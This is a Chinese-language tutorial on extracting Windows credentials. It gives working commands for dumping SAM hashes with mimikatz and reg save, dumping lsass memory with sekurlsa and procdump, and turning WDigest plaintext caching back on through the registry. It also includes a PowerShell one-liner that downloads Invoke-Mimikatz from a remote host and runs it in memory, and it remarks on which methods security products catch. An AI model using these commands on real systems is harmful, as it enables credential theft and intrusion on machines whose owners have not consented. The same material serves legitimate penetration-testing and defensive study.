前言
- 在Windows操作系统上,sam数据库(C:\Windows\System32\config\sam)里保存着本地用户的hash。
- 在本地认证的流程中,作为本地安全权限服务进程lsass.exe也会把用户密码缓存在内存中(dmp文件)。
从上面的两个思路开始,我们利用mimkatz工具作为辅助,来抓取本地用户的hash。
SAM数据库提取
https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump
lsadump::sam
此命令可以转存储SAM数据库,里面包含了本地用户的密码hash。
它有两种工作模式:online
and offline
。
online 模式
online工作模式:需要用户具备SYSTEM权限或使用模拟的SYSTEM令牌,否则将会产生拒绝访问报错:
下面通过使用模拟SYSTEM令牌(token::elevate)进行演示:
privilege::debug
token::elevate
lsadump::sam
-
privilege::debug
获得debug权限。
-
token::elevate
模拟一个system令牌。
offline 模式
offline模式:获取当前系统的SAM数据库文件,在另一系统下进行读取。Win2000和XP需要先提到SYSTEM,03开始直接可以reg save。
导出SAM数据库文件有以下两种实现方法:
- 保存注册表
reg save hklm\sam sam.hiv
reg save hklm\system system.hiv
文件保存在执行命令的目录:
- 复制文件
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\config\SAM
默认无法复制:
需要借助工具:https://github.com/3gstudent/NinjaCopy
导出SAM数据库后,把文件放置mimikatz目录下:
执行命令:
lsadump::sam /sam:sam.hiv /system:system.hiv
工作原理
- 读取hklm\system获取syskey
- 使用syskey解密hklm\sam
优缺点比较
online模式:使用简单,但是特征明显,通常会被安全产品拦截。
offline模式:导出的文件大,效率低,但是安全。
其他工具
-
pwdump7
下载地址:
-
powershell
下载地址:
下载后本地执行:
powershell Import-Module .\Invoke-PowerDump.ps1;Invoke-PowerDump
-
QuarkPwDump
lsass内存提权
使用mimikatz直接导出凭证
https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa
该模块从lsass.exe的内存中提权hash,需要具备下面的条件之一:
- administrator,可以通过privilege::debug获得调试权限
- SYSTEM权限
下面通过privilege::debug进行演示:
- 本地交互式抓取:
privilege::debug
log
sekurlsa::logonpasswords
会在当前shell运行的目录下生成mimikatz.log
:
- 本地非交互式抓取:
mimikatz.exe log "privilege::debug" "sekurlsa::logonPasswords full" exit
缺点也非常明显,通常会被安全产品拦截。
- powershell加载mimikatz抓取:
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds
或者下载本地执行:
powershell Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command '"privilege::debug" "log" "sekurlsa::logonPasswords full"'
通过lsass进程的dmp文件导出凭证
https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
会在当前目录生成lsass.dmp文件:
然后从lsass.dmp文件导出凭证,通过mimikatz完成:
mimikatz.exe log "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
-
工作原理以及bypass:
通过API
MiniDumpWriteDump()
获得lsass.exe进程的dmp文件。
-
明文密码问题:
为什么有的抓不到明文密码,主要还是kb2871997的问题。kb2871997补丁会删除除了wdigest ssp以外其他ssp的明文凭据,但对于wdigest ssp只能选择禁用。
但是用户可以手动开启:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f